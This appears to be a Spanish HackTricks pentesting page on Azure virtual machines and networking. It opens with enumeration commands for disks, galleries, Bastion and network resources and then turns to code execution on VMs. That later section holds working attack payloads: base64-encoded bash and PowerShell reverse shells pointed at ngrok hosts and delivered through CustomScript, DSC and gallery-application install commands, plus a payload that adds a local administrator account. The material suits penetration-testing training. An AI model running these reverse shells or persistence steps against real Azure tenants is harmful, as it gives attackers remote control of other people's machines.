40 KiB
Az - Máquinas Virtuales y Red
{{#include ../../../../banners/hacktricks-training.md}}
Información Básica sobre Redes de Azure
Las redes de Azure contienen diferentes entidades y formas de configurarlas. Puedes encontrar una breve descripción, ejemplos y comandos de enumeración de las diferentes entidades de red de Azure en:
{{#ref}} az-azure-network.md {{#endref}}
Información Básica sobre VMs
Las Máquinas Virtuales (VMs) de Azure son servidores basados en la nube flexibles y bajo demanda que te permiten ejecutar sistemas operativos Windows o Linux. Te permiten desplegar aplicaciones y cargas de trabajo sin gestionar hardware físico. Las VMs de Azure se pueden configurar con varias opciones de CPU, memoria y almacenamiento para satisfacer necesidades específicas e integrarse con servicios de Azure como redes virtuales, almacenamiento y herramientas de seguridad.
Configuraciones de Seguridad
- Zonas de Disponibilidad: Las zonas de disponibilidad son grupos distintos de centros de datos dentro de una región específica de Azure que están físicamente separados para minimizar el riesgo de que múltiples zonas se vean afectadas por cortes locales o desastres.
- Tipo de Seguridad:
- Seguridad Estándar: Este es el tipo de seguridad predeterminado que no requiere ninguna configuración específica.
- Lanzamiento Confiable: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma Confiable Virtual (vTPM).
- VMs Confidenciales: Además de un lanzamiento confiable, ofrece aislamiento basado en hardware entre la VM, el hipervisor y la gestión del host, mejora la encriptación del disco y más.
- Autenticación: Por defecto, se genera una nueva clave SSH, aunque es posible usar una clave pública o usar una clave anterior y el nombre de usuario por defecto es azureuser. También es posible configurar el uso de una contraseña.
- Encriptación de disco de VM: El disco está encriptado en reposo por defecto utilizando una clave gestionada por la plataforma.
- También es posible habilitar Encriptación en el host, donde los datos se encriptarán en el host antes de enviarlos al servicio de almacenamiento, asegurando una encriptación de extremo a extremo entre el host y el servicio de almacenamiento (docs).
- Grupo de seguridad de red NIC:
- Ninguno: Básicamente abre todos los puertos
- Básico: Permite abrir fácilmente los puertos de entrada HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Avanzado: Selecciona un grupo de seguridad
- Copia de seguridad: Es posible habilitar la copia de seguridad Estándar (una al día) y Mejorada (múltiples al día)
- Opciones de orquestación de parches: Esto permite aplicar automáticamente parches en las VMs de acuerdo con la política seleccionada como se describe en los docs.
- Alertas: Es posible recibir automáticamente alertas por correo electrónico o aplicación móvil cuando algo sucede en la VM. Reglas predeterminadas:
- Porcentaje de CPU es mayor que 80%
- Bytes de Memoria Disponible es menor que 1GB
- Porcentaje de IOPS Consumidos de Discos de Datos es mayor que 95%
- Porcentaje de IOPS Consumidos del SO es mayor que 95%
- Red en Total es mayor que 500GB
- Red Saliente Total es mayor que 200GB
- VmAvailabilityMetric es menor que 1
- Monitor de Salud: Por defecto verifica el protocolo HTTP en el puerto 80
- Bloqueos: Permite bloquear una VM para que solo pueda ser leída (Bloqueo de Solo Lectura) o que pueda ser leída y actualizada pero no eliminada (Bloqueo de No Se Puede Eliminar).
- La mayoría de los recursos relacionados con VM también soportan bloqueos como discos, instantáneas...
- Los bloqueos también se pueden aplicar a niveles de grupo de recursos y suscripción
Discos e instantáneas
- Es posible habilitar la conexión de un disco a 2 o más VMs
- Por defecto, cada disco está encriptado con una clave de plataforma.
- Lo mismo en instantáneas
- Por defecto, es posible compartir el disco desde todas las redes, pero también se puede restringir a ciertos accesos privados o deshabilitar completamente el acceso público y privado.
- Lo mismo en instantáneas
- Es posible generar un URI SAS (de un máximo de 60 días) para exportar el disco, que se puede configurar para requerir autenticación o no
- Lo mismo en instantáneas
{{#tabs}} {{#tab name="az cli"}}
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
{{#endtab}} {{#tab name="PowerShell"}}
# List all disks
Get-AzDisk
# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
{{#endtab}} {{#endtabs}}
Imágenes, Imágenes de Galería y Puntos de Restauración
Una imagen de VM es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para crear una nueva máquina virtual (VM). La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener múltiples discos y está diseñada para servir como plantilla para crear nuevas VMs.
Las imágenes se pueden gestionar en la sección de Imágenes de Azure o dentro de galerías de computación de Azure, lo que permite generar versiones y compartir la imagen entre inquilinos o incluso hacerla pública.
Un punto de restauración almacena la configuración de la VM y instantáneas consistentes en el tiempo de todas las discos administrados adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo.
{{#tabs}} {{#tab name="az cli"}}
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
{{#endtab}} {{#tab name="PowerShell"}}
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
{{#endtab}} {{#endtabs}}
Recuperación de Sitios de Azure
De los docs: La Recuperación de Sitios ayuda a garantizar la continuidad del negocio manteniendo las aplicaciones y cargas de trabajo en funcionamiento durante las interrupciones. La Recuperación de Sitios replica cargas de trabajo que se ejecutan en máquinas físicas y virtuales (VMs) desde un sitio principal a una ubicación secundaria. Cuando ocurre una interrupción en su sitio principal, se cambia a una ubicación secundaria y se accede a las aplicaciones desde allí. Después de que la ubicación principal vuelva a funcionar, puede regresar a ella.
Bastión de Azure
El Bastión de Azure permite un acceso seguro y sin problemas al Protocolo de Escritorio Remoto (RDP) y Shell Seguro (SSH) a sus máquinas virtuales (VMs) directamente a través del Portal de Azure o mediante un jump box. Al eliminar la necesidad de direcciones IP públicas en sus VMs.
El Bastión despliega una subred llamada AzureBastionSubnet con una máscara de red /26 en la VNet en la que necesita trabajar. Luego, permite conectarse a VMs internas a través del navegador utilizando RDP y SSH, evitando exponer puertos de las VMs a Internet. También puede funcionar como un host de salto.
Para listar todos los Hosts de Bastión de Azure en su suscripción y conectarse a las VMs a través de ellos, puede usar los siguientes comandos:
{{#tabs}} {{#tab name="az cli"}}
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
{{#endtab}} {{#tab name="PowerShell"}}
# List bastions
Get-AzBastion
{{#endtab}} {{#endtabs}}
Metadatos
El Servicio de Metadatos de Instancia de Azure (IMDS) proporciona información sobre las instancias de máquinas virtuales en ejecución para ayudar con su gestión y configuración. Ofrece detalles como el SKU, almacenamiento, configuraciones de red e información sobre eventos de mantenimiento próximos a través de REST API disponible en la dirección IP no enrutable 169.254.169.254, que es accesible solo desde dentro de la VM. La comunicación entre la VM y el IMDS se mantiene dentro del host, asegurando un acceso seguro. Al consultar el IMDS, los clientes HTTP dentro de la VM deben evitar los proxies web para asegurar una comunicación adecuada.
Además, para contactar el punto final de metadatos, la solicitud HTTP debe tener el encabezado Metadata: true y no debe tener el encabezado X-Forwarded-For.
Verifique cómo enumerarlo en:
{{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}}
Enumeración de VM
{{#tabs}} {{#tab name="az cli"}}
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
{{#endtab }}
{{#tab name="Az Powershell" }}
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile
# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>
#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>
Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)
# Disks
## List all disks and get info about one
Get-AzDisk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
# Snapshots
## List all galleries abd get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all snapshots and get info about one
Get-AzSnapshot
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>
## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
# Bastion
## List bastions
Get-AzBastion
# Network
## List all VNets in your subscription
Get-AzVirtualNetwork
## List VNet peering connections for a given VNet
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings
## List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall
## List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
## List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## List ExpressRoute Circuits
Get-AzExpressRouteCircuit
# Misc
## List all virtual machine scale sets
Get-AzVmss
## List all availability sets
Get-AzAvailabilitySet
## List all load balancers
Get-AzLoadBalancer
## List all storage accounts
Get-AzStorageAccount
## List all custom script extensions on a specific VM
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
{{#endtab }} {{#endtabs }}
Ejecución de Código en VMs
Extensiones de VM
Las extensiones de VM de Azure son pequeñas aplicaciones que proporcionan configuración post-despliegue y tareas de automatización en máquinas virtuales (VMs) de Azure.
Esto permitiría ejecutar código arbitrario dentro de las VMs.
El permiso requerido es Microsoft.Compute/virtualMachines/extensions/write.
Es posible listar todas las extensiones disponibles con:
{{#tabs }} {{#tab name="Az Cli" }}
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
{{#endtab }} {{#tab name="PowerShell" }}
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
{{#endtab }} {{#endtabs }}
Es posible ejecutar extensiones personalizadas que ejecutan código personalizado:
{{#tabs }} {{#tab name="Linux" }}
- Ejecutar un shell reverso
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Ejecutar un script ubicado en internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
{{#endtab }}
{{#tab name="Windows" }}
- Ejecutar un shell inverso
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
- Ejecutar shell inverso desde un archivo
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
También podrías ejecutar otras cargas útiles como: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
- Restablecer la contraseña usando la extensión VMAccess
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
{{#endtab }} {{#endtabs }}
Extensiones de VM relevantes
El permiso requerido sigue siendo Microsoft.Compute/virtualMachines/extensions/write.
Extensión VMAccess
Esta extensión permite modificar la contraseña (o crearla si no existe) de los usuarios dentro de las VMs de Windows.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
Esta es una extensión de VM que pertenece a Microsoft y que utiliza PowerShell DSC para gestionar la configuración de las VMs de Windows en Azure. Por lo tanto, se puede utilizar para ejecutar comandos arbitrarios en las VMs de Windows a través de esta extensión:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Trabajador de Runbook Híbrido
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el servicio de Cuentas de Automatización.
Aplicaciones de VM
Estos son paquetes con todos los datos de la aplicación y scripts de instalación y desinstalación que se pueden usar para agregar y eliminar fácilmente aplicaciones en VMs.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Estos son los caminos donde las aplicaciones se descargan dentro del sistema de archivos:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Consulta cómo instalar nuevas aplicaciones en https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Es posible compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos. Lo cual es muy interesante porque podría permitir a un atacante insertar un backdoor en una aplicación y pivotar a otras suscripciones e inquilinos.
Pero no hay un "mercado" para aplicaciones de vm como lo hay para extensiones.
Los permisos requeridos son:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Ejemplo de explotación para ejecutar comandos arbitrarios:
{{#tabs }} {{#tab name="Linux" }}
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
{{#endtab }}
{{#tab name="Windows" }}
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
